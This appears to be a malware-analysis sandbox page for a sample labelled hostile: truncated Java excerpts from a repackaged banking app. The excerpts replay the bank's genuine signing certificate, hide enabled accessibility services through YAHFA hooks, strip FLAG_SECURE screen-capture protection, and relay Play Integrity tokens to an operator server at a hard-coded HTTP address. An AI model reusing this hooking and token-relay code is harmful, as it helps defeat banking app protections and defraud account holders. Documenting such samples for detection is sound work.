Hostile 100% java Download

hirudo-patched-bank-hook.java

Hook engine strips window capture protectionHook hides the enabled accessibility service list
SHA-2564cb0c4333df65cff3a0ca235fc7281c26d3c9cfd5bb24a6cf2d3c335527c2e30

Evidence

Code embeds cleartext HTTP URL literal lines 32–56
32:49… genuine-certificate
33// substitution, Accessibility-list hiding, FLAG_SECURE stripping,
34// attestation re-signing and Play Integrity relay to an operator server.
35public class PatchedApp extends Application {
36
37 static final String TRIGGER = "/data/data/com.bank.app/files/.engine_trigger";
38 static final String RELAY = "http://198.51.100.7:8766/request_token";
39
40 // Genuine bank signing certificate bytes, stored so the hook can replay
41 // them when the app asks the OS for its own signer.
42 static final byte[] GENUINE_CERT = new byte[] {
43 0x30, (byte) 0x82, 0x04, (byte) 0xA3, 0x30, (byte) 0x82, 0x03, (byte) 0x8B
44 };
45
46 @Override
47 public void onCreate() {
48 super.onCreate();
49 if (new File(TRIGGER).exists()) {
50 Engine.arm(this);
51 }
52 }
⋯4 lines
YAHFA hooks the package signature query lines 58–69
58:13… hookIntegrity(ctx);
59 hookNative(ctx);
60 }
61
62 static void hookSignatures(final Context ctx) {
63 HookMain.findAndHookMethod(
64 PackageManager.class,
65 "getPackageInfo",
⋯4 lines
YAHFA hooks the accessibility service list query lines 83–97
83:26… }
84 }
85 }
86 });
87 int flags = PackageManager.GET_SIGNING_CERTIFICATES | PackageManager.GET_SIGNATURES;
88 }
89
90 static void hookAccessibilityList(final Context ctx) {
91 HookMain.findAndHookMethod(
92 AccessibilityManager.class,
93 "getEnabledAccessibilityServiceList",
⋯4 lines
Queries enabled accessibility services list lines 101–115
101:79… =
102 ((AccessibilityManager) ctx.getSystemService(Context.ACCESSIBILITY_SERVICE))
103 .getEnabledAccessibilityServiceList(
104 android.accessibilityservice.AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
105 probe.size();
106 }
107
108 static void stripCaptureProtection(android.view.Window window, Bundle state) {
109 window.clearFlags(WindowManager.LayoutParams.FLAG_SECURE);
110 window.setFlags(0, WindowManager.LayoutParams.FLAG_SECURE);
111 }
⋯4 lines
References HTTP Content-Type application/json lines 121–140
121:32… 0123456789abcdef0123456789abcdef")
122 .setCloudProjectNumber(0L)
123 .build();
124 mgr.requestIntegrityToken(req)
125 .addOnSuccessListener(resp -> relayVerdict(resp.token()));
126 }
127
128 static String relayVerdict(String token) {
129 try {
130 HttpURLConnection c =
131 (HttpURLConnection) new URL(RELAY).openConnection();
132 c.setRequestMethod("POST");
133 c.setDoOutput(true);
134 c.setRequestProperty("Content-Type", "application/json");
135 byte[] body = ("{\"token\":\"" + token + "\"}").getBytes("UTF-8");
136 OutputStream out = c.getOutputStream();
137 out.write(body);
138 out.flush();
139 int code = c.getResponseCode();
140 return code == 200 ? "a …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.